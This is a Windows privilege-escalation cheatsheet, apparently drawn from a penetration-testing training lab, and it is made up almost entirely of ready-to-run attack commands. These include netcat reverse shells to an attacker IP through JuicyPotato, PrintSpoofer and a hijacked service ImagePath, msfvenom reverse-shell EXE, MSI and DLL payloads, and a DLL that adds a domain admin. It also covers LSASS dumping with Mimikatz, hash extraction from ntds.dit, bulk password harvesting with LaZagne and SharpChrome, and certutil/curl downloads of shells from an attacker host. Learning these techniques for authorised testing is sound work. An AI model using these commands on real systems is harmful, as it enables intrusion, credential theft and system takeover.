Windows Privilege Escalation Cheatsheet


Windows privilege escalation is a critical security concern where users or attackers exploit vulnerabilities to gain unauthorized access to higher levels of system privileges. This process involves transitioning from a lower-level user account to a more powerful one, such as an administrator or the “NT AUTHORITY\SYSTEM” account, often by exploiting system misconfigurations or security weaknesses. Privilege escalation can be categorized into two main types: vertical escalation, where an attacker elevates their privileges within the same account, and horizontal escalation, where they gain access to another account with similar or higher privileges. Understanding and managing privilege escalation is essential for both security professionals aiming to protect systems and penetration testers seeking to identify vulnerabilities. Techniques for privilege escalation include exploiting kernel vulnerabilities, abusing weak permissions, and leveraging tools like WinPEAS and PowerUp to identify potential escalation paths.

Initial Enumeration

Command Description
xfreerdp /v: /u:user /pth:32693b11e6aa90eb43d32c72a07ceea6 /dynamic-resolution +clipboard /drive:tools,/home/kali/tools RDP to lab target
ipconfig /all Get interface, IP address and DNS information
arp -a Review ARP table
route print Review routing table
Get-MpComputerStatus Check Windows Defender status
Get-AppLockerPolicy -Effective select -ExpandProperty RuleCollections
Get-AppLockerPolicy -Local Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
set Display all environment variables
systeminfo View detailed system configuration information
wmic qfe Get patches and updates
wmic product get name Get installed programs
tasklist /svc Display running processes
query user Get logged-in users
echo %USERNAME% Get current user
whoami /priv View current user privileges
whoami /groups View current user group information
net user Get all system users
net localgroup Get all system groups
net localgroup administrators View details about a group
net accounts Get passsword policy
netstat -ano Display active network connections
pipelist.exe /accepteula List named pipes
gci \.\pipe\ List named pipes with PowerShell
accesschk.exe /accepteula \.\Pipe\lsass -v Review permissions on a named pipe

Handy Commands

Command Description
mssqlclient.py sql_dev@10.129.43.30 -windows-auth Connect using mssqlclient.py
enable_xp_cmdshell Enable xp_cmdshell with mssqlclient.py
xp_cmdshell whoami Run OS commands with xp_cmdshell
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a “/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe” -t * Escalate privileges with JuicyPotato
c:\tools\PrintSpoofer.exe -c “c:\tools\nc.exe 10.10.14.3 8443 -e cmd” Escalating privileges with PrintSpoofer
procdump.exe -accepteula -ma lsass.exe lsass.dmp Take memory dump with ProcDump
sekurlsa::minidump lsass.dmp and sekurlsa::logonpasswords Use MimiKatz to extract credentials from LSASS memory dump
dir /q C:\backups\wwwroot\web.config Checking ownership of a file
takeown /f C:\backups\wwwroot\web.config Taking ownership of a file
Get-ChildItem -Path ‘C:\backups\wwwroot\web.config’ select name,directory, @{Name=“Owner”;Expression={(Ge t-ACL $_.Fullname).Owner}}
icacls “C:\backups\wwwroot\web.config” /grant htb-student:F Modifying a file ACL
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL Extract hashes with secretsdump.py
robocopy /B E:\Windows\NTDS .\ntds ntds.dit Copy files with ROBOCOPY
wevtutil qe Security /rd:true /f:text Select-String “/user”
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 findstr “/user”
Get-WinEvent -LogName security where { $.ID -eq 4688 -and $.Properties[8].Value -like ‘/user’ }
msfvenom -p windows/x64/exec cmd=‘net group “domain admins” netadm /add /domain’ -f dll -o adduser.dll Generate malicious DLL
dnscmd.exe /config /serverlevelplugindll adduser.dll Loading a custom DLL with dnscmd
wmic useraccount where name=“netadm” get sid Finding a user’s SID
sc.exe sdshow DNS Checking permissions on DNS service
sc stop dns Stopping a service
sc start dns Starting a service
reg query \10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters Querying a registry key
reg delete \10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll Deleting a registry key
sc query dns Checking a service status
Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local Disabling the global query block list
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3 Adding a WPAD record
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp Compile with cl.exe
reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d “??\C:\Tools\Capcom.sys” Add reference to a driver (1)
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 Add reference to a driver (2)
.\DriverView.exe /stext drivers.txt and cat drivers.txt Select-String -pattern Capcom
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys Using EopLoadDriver
c:\Tools\PsService.exe security AppReadiness Checking service permissions with PsService
sc config AppReadiness binPath= “cmd /c net localgroup Administrators server_adm /add” Modifying a service binary path
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA Confirming UAC is enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin Checking UAC level
[environment]::OSVersion.Version Checking Windows version
cmd /c echo %PATH% Reviewing path variable
curl http://10.10.14.3:8080/srrstr.dll -O “C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll” Downloading file with cURL in PowerShell
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll Executing custom dll with rundll32.exe
.\SharpUp.exe audit Running SharpUp
icacls “C:\Program Files (x86)\PCProtect\SecurityService.exe” Checking service permissions with icacls
cmd /c copy /Y SecurityService.exe “C:\Program Files (x86)\PCProtect\SecurityService.exe” Replace a service binary
wmic service get name,displayname,pathname,startmode findstr /i “auto”
accesschk.exe /accepteula “mrb3n” -kvuqsw hklm\System\CurrentControlSet\services Checking for weak service ACLs in the Registry
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name “ImagePath” -Value “C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443” Changing ImagePath with PowerShell
Get-CimInstance Win32_StartupCommand select Name, command, Location, User
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe Generating a malicious binary
get-process -Id 3324 Enumerating a process ID with PowerShell
get-service ? {$_.DisplayName -like ‘Druva*’}

Credential Theft

Command Description
findstr /SIM /C:“password” *.txt *ini *.cfg *.config *.xml Search for files with the phrase “password”
gc ‘C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt’ Select-String password
(Get-PSReadLineOption).HistorySavePath Confirm PowerShell history save path
gc (Get-PSReadLineOption).HistorySavePath Reading PowerShell history file
$credential = Import-Clixml -Path ‘C:\scripts\pass.xml’ Decrypting PowerShell credentials
cd c:\Users\htb-student\Documents & findstr /SI /M “password” *.xml *.ini *.txt Searching file contents for a string
findstr /si password *.xml *.ini *.txt *.config Searching file contents for a string
findstr /spin “password” . Searching file contents for a string
select-string -Path C:\Users\htb-student\Documents*.txt -Pattern password Search file contents with PowerShell
dir /S /B pass.txt == pass.xml == pass.ini == cred == vnc == .config Search for file extensions
where /R C:\ *.config Search for file extensions
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore Search for file extensions using PowerShell
cmdkey /list List saved credentials
.\SharpChrome.exe logins /unprotect Retrieve saved Chrome credentials
.\lazagne.exe -h View LaZagne help menu
.\lazagne.exe all Run all LaZagne modules
Invoke-SessionGopher -Target WINLPE-SRV01 Running SessionGopher
netsh wlan show profile View saved wireless networks
netsh wlan show profile ilfreight_corp key=clear Retrieve saved wireless passwords

Other Commands

Command Description
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat Transfer file with certutil
certutil -encode file1 encodedfile Encode file with certutil
certutil -decode encodedfile file2 Decode file with certutil
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer Query for always install elevated registry key (1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer Query for always install elevated registry key (2)
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi Generate a malicious MSI package
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart Executing an MSI package from command line
schtasks /query /fo LIST /v Enumerate scheduled tasks
Get-ScheduledTask select TaskName,State
.\accesschk64.exe /accepteula -s -d C:\Scripts\ Check permissions on a directory
Get-LocalUser Check local user description field
Get-WmiObject -Class Win32_OperatingSystem select Description
guestmount -a SQL01-disk1.vmdk -i –ro /mnt/vmd Mount VMDK on Linux
guestmount –add WEBSRV10.vhdx –ro /mnt/vhdx/ -m /dev/sda1 Mount VHD/VHDX on Linux
sudo python2.7 windows-exploit-suggester.py –update Update Windows Exploit Suggester database
python2.7 windows-exploit-suggester.py –database 2021-05-13-mssb.xls –systeminfo win7lpe-systeminfo.txt Running Windows Exploit Suggester